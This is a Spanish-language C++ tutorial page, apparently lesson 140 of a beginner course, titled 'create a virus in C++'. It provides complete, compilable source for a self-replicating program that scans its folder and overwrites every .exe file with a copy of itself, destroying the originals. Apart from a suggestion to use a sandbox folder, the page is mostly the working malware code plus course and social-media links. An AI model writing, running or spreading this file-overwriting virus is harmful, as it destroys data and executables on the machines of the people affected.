maxresdefault 40

Crear un virus en C++ [140]

En este tutorial aprenderemos a crear un virus en C++ que se replica a sí mismo.

  • Antes de comenzar crearemos una carpeta llamada sandbox (caja de arena) para evitar que dañe otras partes de nuestra máquina.
  • El virus leerá todos los archivos .exe de la carpeta donde esta y los remplazara por una copia de el mismo.
  • Si ejecutamos algún archivo .exe ese archivo será una copia del .exe original.
crear un virus en C++

Codigo: https://github.com/programadornovato/c-/commit/ffd62d1cd7617ae3344ffa9e152af5dba035fcce

#include <iostream>
#include <fstream>
#include <string.h>
#include <dirent.h>
#include <windows.h>
bool soloExe(std::string archivo);
int main(){
    std::cout<<"Soy un virus\n";
    std::string nombreArchivos;
    DIR *directorio;
    int tipo;
    struct dirent *elementos;
    if(directorio=opendir(".")){
        while (elementos=readdir(directorio))
        {
            nombreArchivos=elementos->d_name;
            tipo=elementos->d_type;
            if(nombreArchivos!=".." && nombreArchivos!="." && tipo==0 && soloExe(nombreArchivos) ){
                CopyFile("virus.exe",nombreArchivos.c_str(),false);
            }
        }
        
    }

    system("pause");
    return 0;
}
bool soloExe(std::string archivo){
    if(archivo.substr(archivo.find_last_of(".")+1)=="exe"){
        return true;
    }else{
        return false;
    }
}

🎦 [Curso] Visual Studio Code 🆚 de 0 a 100: https://www.youtube.com/playlist?list=PLCTD_CpMeEKQbdlT8efsS-veXuvYZ1UWn

📦 Descargar zip con todos los codigos: http://raboninco.com/bXZK
🎦 [CURSO] C++ DE 0 A HEROE: https://www.youtube.com/playlist?list=PLCTD_CpMeEKTofxs7iottRxJ5YPM7BOcc

🎦 [Curso] Visual Studio Code 🆚 de 0 a 100: https://www.youtube.com/playlist?list=PLCTD_CpMeEKQbdlT8efsS-veXuvYZ1UWn

Gracias por apoyar este canal: https://www.patreon.com/programadornovato
🔗 Facebook: https://facebook.com/ProgramadorNovatoOficial
🔗 Twitter: https://twitter.com/programadornova
🔗 Linkedin: https://www.linkedin.com/in/programadornovato/
🔗 Instagram: https://www.instagram.com/programadornovato/
🔗 Pagina oficial: https://www.programadornovato.com

<<Anterior tutorial Siguiente tutorial >>

Ads Blocker Image Powered by Code Help Pro

Ads Blocker Detected!!!

En Programador Novato vivimos de los anuncios, hemos detectado que está utilizando extensiones para bloquear anuncios. Ayudanos deshabilitando tu bloqueador de anuncios. :)